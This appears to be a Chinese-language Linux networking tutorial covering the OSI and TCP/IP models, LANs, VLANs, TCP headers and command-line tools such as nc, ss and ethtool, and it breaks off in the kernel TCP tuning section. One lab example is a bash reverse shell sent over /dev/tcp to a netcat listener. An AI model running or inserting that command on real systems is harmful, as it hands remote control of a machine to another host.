当前位置:   article > 正文

网络协议和管理_ar99629com29875

ar99629com29875

目录

1 网络基础

1.1 网络概念

1.2 常见的网络物理组件

1.3 网络应用程序

1.3.1 各种网络应用 

1.3.2 应用程序对网络的要求

1.4 网络的特征

1.4.1 网络拓扑

1.5 网络标准

1.5.1 网络标准和分层

1.5.2 开放系统互联 OSI

1.5.3 网络的通信过程

协议数据单元 PDU

2 局域网 Local Area Network

2.1 概述

2.1.1 特点

2.1.2 主要功能

2.1.3 优点

2.1.4 标准

2.2交换机 switch

2.2.1集线器与交换机的比较

2.2.2路由器 router

2.3 以太网技术

2.3.1 概述

 2.3.2 以太网MAC帧格式

 2.3.3 MAC地址

2.3.4 冲突检测的载波侦听多路访问 CSMA/CD

2.4 虚拟局域网 VLAN

2.4.1 VLAN 原理

2.4.2 IEEE 802.1Q 帧结构

 2.5 分层的网络架构

3 TCP/IP 协议栈

3.1 TCP/IP 标准

3.1.1 TCP/IP 介绍

3.1.2 TCP/IP 分层

 3.1.3 TCP/IP 通信过程

 3.1.4 TCP/IP和OSI模型的比较

3.2 transport 层​编辑

​编辑 3.2.1 TCP Transmission Control Protocol

 3.2.2TCP端口号通信过程

​编辑3.2.3TCP确认和固定窗口

 3.2.3.1三次握手和四次挥手

​编辑 3.3内核TCP参数优化

 3.4UDP包头​编辑

 3.5Internet层.​编辑

3.5.1internet 协议

3.5.2IP PDU 报头

​编辑3.5.3 IP PDU 报头格式

3.6IP地址

3.6.1IP地址分类 

3.6.2公共和私有IP地址

​编辑 3.6.3特殊地址

 3.6.4保留地址

 3.6.5子网掩码

 3.7划分子网

3.7.1优化IP地址分配

 3.7.2 跨网络通信

3.7.3动态主机配置协议 DHCP

4 网络配置

4.1 基本网络配置

4.2 网卡名称

4.2.2 CentOS 7 以上版网络配置

4.3 网络配置命令

4.3.1 主机名

4.3.2 网络配置方式

4.3.3 ifconfig 命令

4.3.4 route 命令

 4.3.5 配置动态路由

4.3.6 netstat 命令

4.3.7 显示接口统计数据

4.3.8 ip命令

4.3.8.2 管理路由

4.3.9 ss 命令

4.3.10 网络配置工具 nmcli

4.4 网络配置文件

4.4.1 网络基本配置文件

4.4.2 配置当前主机的主机名

4.4.3 本地主机名数据库和IP地址的映射

4.4.4 DNS域名解析

4.4.5 修改 /etc/hosts和DNS的优先级

4.4.6 路由相关的配置文件

4.5 网卡别名

4.6 多网卡 bonding

4.6.1 Bonding 聚合链路工作模式

4.6.2 Bonding 配置

4.6.3 nmcli实现 bonding

4.7 网络组 Network Teaming

4.8 网桥(交换机)

4.8.1 桥接原理

 4.8.2 配置实现网桥

 4.9 网络测试诊断工具

4.9.1 fping

4.9.2 tcpdump

4.9.3 nmap

4.9.4 nc

5 Ubuntu 网络配置

5.1 主机名

5.2 网卡名称

5.3 Ubuntu网卡配置

5.3.1 配置自动获取IP

5.2.2 配置静态IP

5.3.3 配置多⽹卡静态IP和静态路由

5.3.4 单组桥接

5.3.5 多组桥接

5.3.6 双⽹卡绑定

5.3.7 双⽹卡绑定+桥接

5.3.8 ⽹卡的多组绑定

5.3.9 ⽹卡多组绑定+多组桥接

6,nc - 网络工具箱中的「瑞士军刀」       

6.1安装及用法

6.2 使用nc测试网络连通性测试和端口扫描

 6.2.1客户端测试测试方法1:

 6.2.2客户端测试,测试方法2

 6.2.3 客户端测试,测试方法3

 6.2.4客户端测试,测试方法4(和方法3相似,但用处更大)

6.2.5nc作为server端启动一个udp的监听(注意,此处重点是起udp)

6.2.6 客户端测试,测试方法1 

 6.2.7客户端测试,测试方法2

 6.2.8客户端测试,测试方法3

 6.3使用nc传输文件和目录

 6.4使用nc测试网速

1 网络基础

1.1 网络概念

计算机网络是一组计算机或网络设备通过有形的线缆或无形的媒介如无线,连接起来,按照一定的规则,进行通信的集合。

网络功能和优点
        数据和应用程序
        资源
        网络存储
        备份设备
作用范围分类
        广域网(WAN,Wide Area Network)
        城域网(MAN,Metropolitan Area Network)
        局域网(LAN,Local Area Network)

1.2 常见的网络物理组件

1.3 网络应用程序

1.3.1 各种网络应用 

        Web 浏览器(Chrome、Edge、IE、Firefox等)
        即时消息(QQ、微信、钉钉等)
        电子邮件(Outlook、foxmail 等)
        协作(视频会议、VNC、Netmeeting、WebEx 等)
        web网络服务(apache,nginx,IIS)
        文件网络服务(ftp ,nfs,samba)
        数据库服务( MySQL,MariaDB,MongoDB)
        中间件服务(Tomcat,JBoss)
        安全服务(Netfilter)

1.3.2 应用程序对网络的要求

批处理应用程序
        FTP、TFTP、库存更新
        无需直接人工交互
        带宽很重要,但并非关键性因素
交互式应用程序
        库存查询、数据库更新
        人机交互
        因为用户需等待响应,所以响应时间很重要,但并非关键性因素,除非要等待很长时间
实时应用程序
        VoIP、视频
        人与人的交互
        端到端的延时至关重要

1.4 网络的特征

速度

成本
安全性
可靠性
可用性
可扩展性
拓扑

1.4.1 网络拓扑

拓扑结构一般是指由点和线排列成的几何图形
计算机网络的拓扑结构是指一个网络的通信链路和计算机结点相互连接构成的几何图形

拓扑分类
        物理拓扑描述了物理设备的布线方式
        逻辑拓扑描述了信息在网络中流动的方式

拓扑结构分类

 

 总线拓扑:所有设备均可接收信号
星型拓扑:通过中心点传输,单一故障点
扩展星型拓扑:比星型拓扑的复原能力更强
环拓扑:信号绕环传输,单一故障点
双环拓扑:信号沿相反方向传输,比单环的复原能力更强
全网状拓扑:容错能力强,实施成本高
部分网状拓扑:在容错能力与成本之间寻求平衡

1.5 网络标准

1.5.1 网络标准和分层

旧模型:专有产品,由一个厂商控制应用程序和嵌入的软件
基于标准的模型:多厂商软件,分层方法

层次划分的必要性
计算机网络是由许多硬件、软件和协议交织起来的复杂系统。由于网络设计十分复杂,如何设计、组织和实现计算机网络是一个挑战,必须要采用科学有效的方法

层次划分的方法
        网络的第一层应当具有相对独立的功能
        梳理功能之间的关系,使一个功能可以为实现另一个功能提供必要的服务,从而形成系统的层次结构
        为提高系统的工作效率,相同或相近的功能仅在一个层次中实现,而且尽可能在较高的层次中实现每一层只为相邻的上一层提供服务

层次划分的优点
        各层之间相互独立,每一层只实现一种相对独立的功能,使问题复杂程度降低
        灵活性好,各层内部的操作不会影响其他层
        结构上可分割开,各层之间都可以采用最合适的技术来实现
        易于实现和维护,因为整个系统已被分解成相对独立的子系统
        能促进标准化工作,因为每一层的功能及其提供的服务都有了精确的说明

1.5.2 开放系统互联 OSI

  1. #OSI 七层的记忆口诀
  2. All People Seem To Need Data Process
  3. 物数网传会表应

在制定计算机网络标准方面,起着重大作用的两大国际组织是:国际电信联盟电信标准化部门,与国际标准化组织(ISO International Organization for Standardization),虽然它们工作领域不同,但随着科学技术的发展,通信与信息处理之间的界限开始变得比较模糊,这也成了国际电信联盟电信标准化部门和ISO共同关心的领域。1984年,ISO发布了著名的OSI(Open System Interconnection)标准,它定义了网络互联的7层框架,物理层、数据链路层、网络层、传输层、会话层、表示层和应用层),即OSI开放系统互连参考模型

 OSI 模型的七层结构

 第7层 应用层
应用层(Application Layer)提供为应用软件而设的接口,以设置与另一应用软件之间的通信。例如:HTTP、HTTPS、FTP、TELNET、SSH、SMTP、POP3、MySQL等

第6层 表示层
主条目:表示层(Presentation Layer)把数据转换为能与接收者的系统格式兼容并适合传输的格式

第5层 会话层
会话层(Session Layer)负责在数据传输中设置和维护电脑网络中两台电脑之间的通信连接。

第4层 传输层
传输层(Transport Layer)把传输表头(TH)加至数据以形成数据包。传输表头包含了所使用的协议等发送信息。例如:传输控制协议(TCP)等。

第3层 网络层
网络层(Network Layer)决定数据的路径选择和转寄,将网络表头(NH)加至数据包,以形成报文。网络表头包含了网络数据。例如:互联网协议(IP)等。

第2层 数据链接层
数据链路层(Data Link Layer)负责网络寻址、错误侦测和改错。当表头和表尾被加至数据包时,会形成信息框(Data Frame)。数据链表头(DLH)是包含了物理地址和错误侦测及改错的方法。数据链表尾(DLT)是一串指示数据包末端的字符串。例如以太网、无线局域网(Wi-Fi)和通用分组无线服务(GPRS)等。分为两个子层:逻辑链路控制(logical link control,LLC)子层和介质访问控制(Mediaaccess control,MAC)子层

第1层 物理层
物理层(Physical Layer)在局部局域网上传送数据帧(Data Frame),它负责管理电脑通信设备和网
络媒体之间的互通。包括了针脚、电压、线缆规范、集线器、中继器、主机接口卡等

1.5.3 网络的通信过程

数据封装和数据解封

协议数据单元 PDU

 PDU: Protocol Data Unit,协议数据单元是指对等层次之间传递的数据单位
        物理层的 PDU是数据位 bit
        数据链路层的 PDU是数据帧 frame
        网络层的PDU是数据包 packet
        传输层的 PDU是数据段 segment
        其他更高层次的PDU是消息 message

三种通讯模式

        unicast: 单播,目标设备是一个
        broadcast: 广播,目标设备是所有
        multicast: 多播,组播,目标设备是多个 

 冲突域和广播域

冲突域:两个网络设备同时发送数据,如果发生了冲突,则两个设备处于同一个冲突域,反之,则各自处于不同的冲突域

广播域:一个网络设备发送广播,另一个设备收到了,则两个设备处于同一个广播域,反之,则各自处于不同的广播域

三种通讯机制

        单工通信:只有一个方向的通信,比如: 收音机
        半双工通信:通信双方都可以发送和接收信息,但不能同时发送,也不能同时接收,比如:对讲机
        全双工通信:通信双方可以同时发送和同时接收,比如: 手机

  1. #例:查看双工和速度
  2. [root@localhost ~]# mii-tool eth0
  3. eth0: negotiated 100baseTx-FD, link ok
  4. [root@localhost ~]# mii-tool -v eth0
  5. eth0: negotiated 100baseTx-FD, link ok
  6. product info: vendor 00:07:32, model 17 rev 5
  7. basic mode:  autonegotiation enabled
  8. basic status: autonegotiation complete, link ok
  9. capabilities: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
  10. advertising: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD flow-control
  11. link partner: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
  12. [root@centos8 ~]#ethtool -i eth0
  13. driver: vmxnet3
  14. version: 1.4.16.0-k-NAPI
  15. firmware-version:
  16. expansion-rom-version:
  17. bus-info: 0000:03:00.0
  18. supports-statistics: yes
  19. supports-test: no
  20. supports-eeprom-access: no
  21. supports-register-dump: yes
  22. supports-priv-flags: no
  23. [root@centos8 ~]#ethtool eth0
  24. Settings for eth0:
  25. Supported ports: [ TP ]
  26. Supported link modes:  1000baseT/Full
  27.            10000baseT/Full
  28. Supported pause frame use: No
  29. Supports auto-negotiation: No
  30. Supported FEC modes: Not reported
  31. Advertised link modes: Not reported
  32. Advertised pause frame use: No
  33. Advertised auto-negotiation: No
  34. Advertised FEC modes: Not reported
  35. Speed: 10000Mb/s
  36. Duplex: Full
  37. Port: Twisted Pair
  38. PHYAD: 0
  39. Transceiver: internal
  40. Auto-negotiation: off
  41. MDI-X: Unknown
  42. Supports Wake-on: uag
  43. Wake-on: d
  44. Link detected: yes
  45. [root@centos8 ~]#mii-tool  eth0
  46. SIOCGMIIPHY on 'eth0' failed: Operation not supported
  47. #网络断开的状态
  48. [root@centos8 ~]#mii-tool -v eth1
  49. eth1: no link
  50. product info: Yukon 88E1011 rev 3
  51. basic mode:  autonegotiation enabled
  52. basic status: no link
  53. capabilities: 1000baseT-FD 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
  54. advertising: 1000baseT-FD 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
  55. [root@centos8 ~]#ethtool eth1
  56. Settings for eth1:
  57. Supported ports: [ TP ]
  58. Supported link modes:  10baseT/Half 10baseT/Full
  59.            100baseT/Half 100baseT/Full
  60. 1000baseT/Full
  61. Supported pause frame use: No
  62. Supports auto-negotiation: Yes
  63. Supported FEC modes: Not reported
  64. Advertised link modes: 10baseT/Half 10baseT/Full
  65.            100baseT/Half 100baseT/Full
  66.            1000baseT/Full
  67. Advertised pause frame use: No
  68. Advertised auto-negotiation: Yes
  69. Advertised FEC modes: Not reported
  70. Speed: Unknown!
  71. Duplex: Unknown! (255)
  72. Port: Twisted Pair
  73. PHYAD: 0
  74. Transceiver: internal
  75. Auto-negotiation: on
  76. MDI-X: Unknown (auto)
  77. Supports Wake-on: d
  78. Wake-on: d
  79. Current message level: 0x00000007 (7)
  80.    drv probe link
  81. Link detected: no
  82. [root@centos8 ~]#ip link
  83. 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT
  84. group default qlen 1000
  85.  link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
  86. 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP mode
  87. DEFAULT group default qlen 1000
  88.  link/ether 00:0c:29:f8:5d:b7 brd ff:ff:ff:ff:ff:ff
  89. 3: eth1: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc fq_codel state DOWN
  90. mode DEFAULT group default qlen 1000
  91.  link/ether 00:0c:29:f8:5d:c1 brd ff:ff:ff:ff:ff:ff
  92. #例: 如何判断网线断开
  93. root@centos8 ~]#mii-tool  eth1
  94. eth1: no link
  95. [root@centos8 ~]#ethtool eth1
  96. Settings for eth1:
  97. Supported ports: [ TP ]
  98. Supported link modes:  10baseT/Half 10baseT/Full
  99.             100baseT/Half 100baseT/Full
  100.             1000baseT/Full
  101. Supported pause frame use: No
  102. Supports auto-negotiation: Yes
  103. Supported FEC modes: Not reported
  104. Advertised link modes: 10baseT/Half 10baseT/Full
  105.             100baseT/Half 100baseT/Full
  106.             1000baseT/Full
  107. Advertised pause frame use: No
  108. Advertised auto-negotiation: Yes
  109. Advertised FEC modes: Not reported
  110. Speed: Unknown!
  111. Duplex: Unknown! (255)
  112. Port: Twisted Pair
  113. PHYAD: 0
  114. Transceiver: internal
  115. Auto-negotiation: on
  116. MDI-X: Unknown (auto)
  117. Supports Wake-on: d
  118. Wake-on: d
  119. Current message level: 0x00000007 (7)
  120.    drv probe link
  121. Link detected: no

2 局域网 Local Area Network

2.1 概述

2.1.1 特点

      网络为一个单位所拥有
      地理范围和站点数目均有限

2.1.2 主要功能

资源共享和数据通信

2.1.3 优点

能方便地共享昂贵的外部设备、主机以及软件、数据。从一个站点可以访问全网
便于系统的扩展和逐渐演变,各设备的位置可灵活的调整和改变
提高系统的可靠性、可用性和易用性

2.1.4 标准

IEEE(国际电子电气工程师协会)于1980年2月成立了局域网标准委员会(简称IEEE802委员会),专门从事局域网标准化工作,并制定了IEEE802标准。802标准所描述的局域网参考模型只对应OSI参考模型的数据链路层与物理层,它将数据链路层划分为逻辑链路层LLC子层和介质访问控制MAC子层.LLC子层负责向其上层提供服务MAC子层的主要功能包括数据帧的封装/卸装,帧的寻址和识别,帧的接收与发送,链路的管理,帧的差错控制等。MAC子层的存在屏蔽了不同物理链路种类的差异性。

2.2交换机 switch

交换机是工作在OSI参考模型数据链路层的设备,外表和集线器相似
它通过判断数据帧的目的MAC地址,从而将数据帧从合适端口发送出去
交换机是通过MAC地址的学习和维护更新机制来实现数据帧的转发
内部结构

 工作原理
(1)交换机根据收到数据帧中的源MAC地址建立该地址同交换机端口的映射,并将其写入MAC地址表中
(2)交换机将数据帧中的目的MAC地址同已建立的MAC地址表进行比较,以决定由哪个端口进行转发
(3)如数据帧中的目的MAC地址不在MAC地址表中,则向所有端口转发。这一过程称为泛洪(flood)
(4)广播帧和组播帧向所有的端口转发

2.2.1集线器与交换机的比较

 (1)交换机属于数据链路层设备,而集线器属于物理层设备
(2)集线器在转发帧时,不对传输介质进行检测,交换机在转发帧之前必须执行 CSMA/CD 算法。若在
发送过程中出现碰撞,就必须停止发送和进行退避。所以交换机能隔离冲突,而集线器却只能增加冲突
(3) 交换机的每个端口可提供专用的带宽,而集线器的所有端口只能共享带宽
(4)集线器只能实现半双工传送,而交换机可支持全双工传送
(5)集线器和交换机都无法隔离广播域

2.2.2路由器 router

 路由:把一个数据包从一个设备发送到不同网络里的另一个设备上去。这些工作依靠路由器来完成。路由器只关心网络的状态和决定网络中的最佳路径。路由的实现依靠路由器中的路由表来完成
路由器功能:
        工作在网络层
        分隔广播域和冲突域
        选择路由表中到达目标最好的路径
        维护和检查路由信息
        连接广域网

2.3 以太网技术

2.3.1 概述

以太网(Ethernet)是一种产生较早且使用相当广泛的局域网,由美国Xerox(施乐)公司的Palo Alto研究中心(简称为PARC)于20世纪70年代初期开始研究并于1975年研制成功

 2.3.2 以太网MAC帧格式

 2.3.3 MAC地址

在局域网中,硬件地址又称为物理地址或MAC地址(因为这种地址用在MAC帧中)
IEEE 802标准为局域网规定了一种48位的全球地址(一般都简称为“地址”),是局域网中每一台计算机固化在网卡ROM中的地址
IEEE 的注册管理机构 RA 负责向厂家分配地址字段的前三个字节(即高位 24 位)
地址字段中的后三个字节(即低位 24 位)由厂家自行指派,称为扩展标识符,必须保证生产出的适配器没 有重复地址 

各大厂商MAC识别码:

http://standards-oui.ieee.org/oui/oui.txt

2.3.4 冲突检测的载波侦听多路访问 CSMA/CD

工作原理
        先听后发
        边发边听
        冲突停止
        延迟重发

2.4 虚拟局域网 VLAN

2.4.1 VLAN 原理

虚拟局域网 VLAN 是由一些局域网网段构成的与物理位置无关的逻辑组

这些网段具有某些共同的需求。每一个 VLAN 的帧都有一个明确的标识符,指明发送这个帧的工作站是属于哪一个 VLAN。虚拟局域网其实只是局域网给用户提供的一种服务,而并不是一种新型局域网优点
(1)更有效地共享网络资源。如果用交换机构成较大的局域网,大量的广播报文就会使网络性能下降。VLAN能将广播报文限制在本VLAN范围内,从而提升了网络的效能
(2)简化网络管理。当结点物理位置发生变化时,如跨越多个局域网,通过逻辑上配置VLAN即可形成网络设备的逻辑组,无需重新布线和改变IP地址等。这些逻辑组可以跨越一个或多个二层交换机
(3)提高网络的数据安全性。一个VLAN中的结点接收不到另一个VLAN中其他结点的帧

虚拟局域网的实现技术
        (1)基于端口的VLAN
        (2)基于MAC地址的VLAN
        (3)基于协议的VLAN
        (4)基于网络地址的VLAN

2.4.2 IEEE 802.1Q 帧结构

IEEE 802.1Q 帧结构

 VLAN 标签各字段含义
TPID:Tag Protocol Identifier(标签协议标识符),2Byte,表示帧类型,取值为0x8100时表示IEEE802.1Q的VLAN数据帧。如果不支持802.1Q的设备收到这样的帧,会将其丢弃,各设备厂商可以自定义该字段的值。当邻居设备将TPID值配置为非0x8100时, 为了能够识别这样的报文,实现互通,必须在本设备上修改TPID值,确保和邻居设备的TPID值配置一致

PRI:Priority,3bit,表示数据帧的802.1p(是IEEE 802.1Q的扩展协议)优先级。取值范围为0~7,值越大优先级越高。当网络阻塞时,交换机优先发送优先级高的数据帧

CFI:Canonical Format Indicator(标准格式指示位),1bit,表示MAC地址在不同的传输介质中是否以标准格式进行封装,用于兼容以太网和令牌环网。CFI取值为0表示MAC地址以标准格式进行封装,为1表示以非标准格式封装。在以太网中,CFI的值为0

VID:VLAN ID,12bit,表示该数据帧所属VLAN的编号。VLAN ID取值范围是0~4095。由于0和4095为协议保留取值,所以VLAN ID的有效取值范围是1~4094

 2.5 分层的网络架构

架构一

  架构二

 架构三

3 TCP/IP 协议栈

3.1 TCP/IP 标准

3.1.1 TCP/IP 介绍

Transmission Control Protocol/Internet Protocol 传输控制协议/因特网互联协议
TCP/IP是一个Protocol Stack,包括TCP、IP、UDP、ICMP、RIP、TELNET、FTP、SMTP、ARP等许多协议
最早发源于1969年美国国防部(缩写为DoD)的因特网的前身ARPA网络项目,1983年1月1日,TCP/IP取代了旧的网络控制协议NCP,成为今天的互联网和局域网的基石和标准,由互联网工程任务组负责维护
国防高级研究计划局DARPA与BBN技术公司、斯坦福大学和伦敦大学学院签约,在多个硬件平台上开发协议的操作版本。 在协议开发过程中,数据包路由层的版本号从版本 1 进展到版本 4,后者于 1983 年安装在 ARPANET 中。它被称为互联网协议版本4(IPv4)作为协议,仍在互联网使用,连同其目前的继承,互联网协议版本6(IPv6)。
RFC 文档: https://www.ietf.org/rfc/rfc1180.html 

3.1.2 TCP/IP 分层

共定义了四层,和 OSI参考模型的分层有对应关系
RFC文档: https://www.ietf.org/rfc/rfc1122#section-1.3.3
RFC官方分为四层:
        Application Layer
        Transport Layer
        Internet Layer
        Link Layer(media-access)

 

 TCP/IP 应用层

 3.1.3 TCP/IP 通信过程

 3.1.4 TCP/IP和OSI模型的比较

相同点
        两者都是以协议栈的概念为基础
        协议栈中的协议彼此相互独立
        下层对上层提供服务
不同点
        OSI是先有模型;TCP/IP是先有协议,后有模型
        OSI是国际标准,适用于各种协议栈;TCP/IP实际标准,只适用于TCP/IP网络
        层次数量不同

3.2 transport 层

TCP和UDP

 3.2.1 TCP Transmission Control Protocol

 TCP特性

工作在传输层
面向连接协议
全双工协议
半关闭
将数据打包成段,排序
确认机制
数据恢复,重传
错误检查
流量控制,滑动窗口
拥塞控制,慢启动和拥塞避免算法
更多关于tcp的内核参数,可参看man 7 tcp

TCP包头结构

TCP 包头

源端口、目标端口:计算机上的进程要和其他进程通信是要通过计算机端口的,而一个计算机端口
某个时刻只能被一个进程占用,所以通过指定源端口和目标端口,就可以知道是哪两个进程需要通
信。源端口、目标端口是用16位表示的,可推算计算机的端口个数为2^16个,即65536

序列号:表示本报文段所发送数据的第一个字节的编号。在TCP连接中所传送的字节流的每一个字
节都会按顺序编号。由于序列号由32位表示,所以每2^32个字节,就会出现序列号回绕,再次从 0
开始

确认号:表示接收方期望收到发送方下一个报文段的第一个字节数据的编号。也就是告诉发送方:
我希望你(指发送方)下次发送的数据的第一个字节数据的编号为此确认号

数据偏移:表示TCP报文段的首部长度,共4位,由于TCP首部包含一个长度可变的选项部分,需要指定这个TCP报文段到底有多长。它指出 TCP 报文段的数据起始处距离 TCP 报文段的起始处有多远。该字段的单位是32位(即4个字节为计算单位),4位二进制最大表示15,所以数据偏移也就是TCP首部最大60字节

URG:表示本报文段中发送的数据是否包含紧急数据。后面的紧急指针字段(urgent pointer)只
有当URG=1时才有效

ACK:表示是否前面确认号字段是否有效。只有当ACK=1时,前面的确认号字段才有效。TCP规
定,连接建立后,ACK必须为1,带ACK标志的TCP报文段称为确认报文段

PSH:提示接收端应用程序应该立即从TCP接收缓冲区中读走数据,为接收后续数据腾出空间。如
果为1,则表示对方应当立即把数据提交给上层应用,而不是缓存起来,如果应用程序不将接收到
的数据读走,就会一直停留在TCP接收缓冲区中

RST:如果收到一个RST=1的报文,说明与主机的连接出现了严重错误(如主机崩溃),必须释放连接,然后再重新建立连接。或者说明上次发送给主机的数据有问题,主机拒绝响应,带RST标志的TCP报文段称为复位报文段

SYN:在建立连接时使用,用来同步序号。当SYN=1,ACK=0时,表示这是一个请求建立连接的报文段;当SYN=1,ACK=1时,表示对方同意建立连接。SYN=1,说明这是一个请求建立连接或同意建立连接的报文。只有在前两次握手中SYN才置为1,带SYN标志的TCP报文段称为同步报文段

FIN:表示通知对方本端要关闭连接了,标记数据是否发送完毕。如果FIN=1,即告诉对方:“我的
数据已经发送完毕,你可以释放连接了”,带FIN标志的TCP报文段称为结束报文段

窗口大小:表示现在允许对方发送的数据量,也就是告诉对方,从本报文段的确认号开始允许对方
发送的数据量,达到此值,需要ACK确认后才能再继续传送后面数据,由Window size value *
Window size scaling factor(此值在三次握手阶段TCP选项Window scale协商得到)得出此值

校验和:提供额外的可靠性

紧急指针:标记紧急数据在数据字段中的位置
选项部分:其最大长度可根据TCP首部长度进行推算。TCP首部长度用4位表示,选项部分最长为:(2^4-1)*4-20=40字节

TCP协议PORT

 传输层通过port号,确定应用层协议,范围0-65535

维基百科:https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers
IANA互联网数字分配机构负责域名,数字资源,协议分配

0-1023:系统端口或特权端口(仅管理员可用) ,众所周知,永久的分配给固定的系统应用使用,
22/tcp(ssh), 80/tcp(http), 443/tcp(https)

1024-49151:用户端口或注册端口,但要求并不严格,分配给程序注册为某应用使用,
1433/tcp(SqlServer), 1521/tcp(oracle),3306/tcp(mysql),11211/tcp/udp (memcached)

49152-65535:动态或私有端口,客户端随机使用端口,范围定
义:/proc/sys/net/ipv4/ip_local_port_range

  1. #例:调整客户端的动态端口范围
  2. [root@centos8 ~]#cat /proc/sys/net/ipv4/ip_local_port_range
  3. 32768 60999
  4. [root@centos8 ~]#echo 20000 62000 > /proc/sys/net/ipv4/ip_local_port_range
  5. [root@centos8 ~]#cat /proc/sys/net/ipv4/ip_local_port_range
  6. 20000 62000
  7. #例:
  8. [root@centos8 ~]#dnf -y install man-pages
  9. [root@centos8 ~]#man 2 socket
  10. [root@centos8 ~]#dnf -y install nc
  11. #服务器端
  12. [root@centos8 ~]#ss -ntlu
  13. Netid   State    Recv-Q  Send-Q  Local Address:Port      Peer
  14. Address:Port
  15. tcp    LISTEN    0       128     0.0.0.0:22         
  16.  0.0.0.0:*
  17. tcp    LISTEN    0       128      [::]:22           
  18. [::]:*    
  19. [root@centos8 ~]#nc -l 22
  20. Ncat: bind to :::22: Address already in use. QUITTING.
  21. [root@centos8 ~]#nc -l 9527
  22. I am centos7
  23. I am centos8
  24. #客户端
  25. [root@centos7 ~]#nc 10.0.0.8 9527
  26. I am centos7
  27. I am centos8
  28. #再开一个连接失败
  29. [root@centos7 ~]#nc 10.0.0.8 9527
  30. Ncat: Connection refused.
  31. [root@centos8 ~]#ss -nt
  32. State    Recv-Q    Send-Q   Local Address:Port         Peer
  33. Address:Port
  34. ESTAB    0       0        10.0.0.8:9527          
  35. 10.0.0.7:40706
  36. #服务器开启UDP的端口
  37. [root@centos8 ~]#nc -l 7000 -u
  38. #客户端连接
  39. [root@centos7 ~]#nc 10.0.0.8 7000 -u
  40. [root@centos8 ~]#ss -ntu
  41. Netid   State    Recv-Q    Send-Q       Local Address:Port    
  42.   Peer Address:Port   
  43. udp    ESTAB    0       0             10.0.0.8:7000   
  44.      10.0.0.7:52667   
  45. tcp    ESTAB    0       0             10.0.0.8:8000   
  46.      10.0.0.7:53402   
  47. tcp    ESTAB    0       52            10.0.0.8:22    
  48.      10.0.0.1:13305
  49. #例:找到端口冲突的应用程序
  50. [root@centos8 ~]#nc -l 22
  51. Ncat: bind to :::22: Address already in use. QUITTING.
  52. [root@centos8 ~]#ss -ntlp
  53. State  Recv-Q  Send-Q    Local Address:Port  Peer Address:Port     
  54. LISTEN  0     128         0.0.0.0:22        0.0.0.0:*   
  55. users:(("sshd",pid=699,fd=4))
  56. LISTEN  0     128          [::]:22         [::]:*   
  57. users:(("sshd",pid=699,fd=6))
  58. [root@centos8 ~]#lsof -i :22
  59. COMMAND PID USER  FD  TYPE DEVICE SIZE/OFF NODE NAME
  60. sshd   699 root  4u IPv4  26846   0t0 TCP *:ssh (LISTEN)
  61. sshd   699 root  6u IPv6  26848   0t0 TCP *:ssh (LISTEN)
  62. sshd   1287 root  5u IPv4  29875   0t0 TCP centos8.localdomain:ssh-
  63. >10.0.0.1:pc-mta-addrmap (ESTABLISHED)
  64. sshd   1300 root  5u IPv4  29875   0t0 TCP centos8.localdomain:ssh-
  65. >10.0.0.1:pc-mta-addrmap (ESTABLISHED)
  66. #例:判断端口是否正在打开
  67. [root@centos8 ~]#< /dev/tcp/127.0.0.1/80
  68. [root@centos8 ~]#echo $?
  69. 0
  70. [root@centos8 ~]#< /dev/tcp/127.0.0.1/8080
  71. -bash: connect: Connection refused
  72. -bash: /dev/tcp/127.0.0.1/8080: Connection refused
  73. [root@centos8 ~]#echo $?
  74. 1
  75. #例:利用重定向实现上网
  76. [root@centos8 ~]#exec 8<>/dev/tcp/www.baidu.com/80
  77. [root@centos8 ~]#ll /proc/$$/fd
  78. total 0
  79. lrwx------ 1 root root 64 Apr 20 14:14 0 -> /dev/pts/0
  80. lrwx------ 1 root root 64 Apr 20 14:14 1 -> /dev/pts/0
  81. lrwx------ 1 root root 64 Apr 20 14:14 2 -> /dev/pts/0
  82. lrwx------ 1 root root 64 Apr 20 14:17 255 -> /dev/pts/0
  83. lr-x------ 1 root root 64 Apr 20 14:14 3 -> /var/lib/sss/mc/passwd
  84. lrwx------ 1 root root 64 Apr 20 14:14 4 -> 'socket:[32754]'
  85. lrwx------ 1 root root 64 Apr 20 14:14 8 -> 'socket:[32777]'
  86. [root@centos8 ~]#echo -e 'GET / HTTP/1.1\n' >& 8
  87. [root@centos8 ~]#cat <& 8
  88. #例:反弹 shell 实现远程控制
  89. #在控制机监听打开端口
  90. [root@centos8 ~]#dnf -y install nc
  91. [root@centos8 ~]#nc -lvp 6666
  92. Ncat: Version 7.70 ( https://nmap.org/ncat )
  93. Ncat: Listening on :::6666
  94. Ncat: Listening on 0.0.0.0:6666
  95. #在被控制机上实现反弹shell
  96. [root@centos7 ~]#bash -i &> /dev/tcp/10.0.0.8/6666 0>&1
  97. #在控制机主机可以观察到以下信息,自动登录到被控制主机,且可以执行命令

 3.2.2TCP端口号通信过程

3.2.3TCP确认和固定窗口

 TCP滑动窗口

 3.2.3.1三次握手和四次挥手

建立连接

TCP三次握手 TCP四次挥手

 3.3内核TCP参数优化

  1. #参看帮助: man 7 tcp
  2. 编辑文件/etc/sysctl.conf,加入以下内容:然后执行 sysctl -p 让参数生效。
  3. net.ipv4.tcp_fin_timeout = 2
  4. net.ipv4.tcp_tw_reuse = 1
  5. net.ipv4.tcp_tw_recycle = 1
  6. net.ipv4.tcp_syncookies = 1
  7. net.ipv4.tcp_keepalive_time = 600
  8. net.ipv4.ip_local_port_range = 2000 65000
  9. net.ipv4.tcp_max_syn_backlog = 16384
  10. net.ipv4.tcp_max_tw_buckets = 36000
  11. net.ipv4.route.gc_timeout = 100
  12. net.ipv4.tcp_syn_retries = 1
  13. net.ipv4.tcp_synack_retries = 1
  14. net.ipv4.tcp_max_orphans = 16384
  15. net.core.somaxconn = 16384
  16. net.core.netdev_max_backlog = 16384
  17. 作用说明:
  18. net.ipv4.tcp_fin_timeout 表示套接字由本端要求关闭,这个参数决定了它保持在FIN-WAIT-2状态
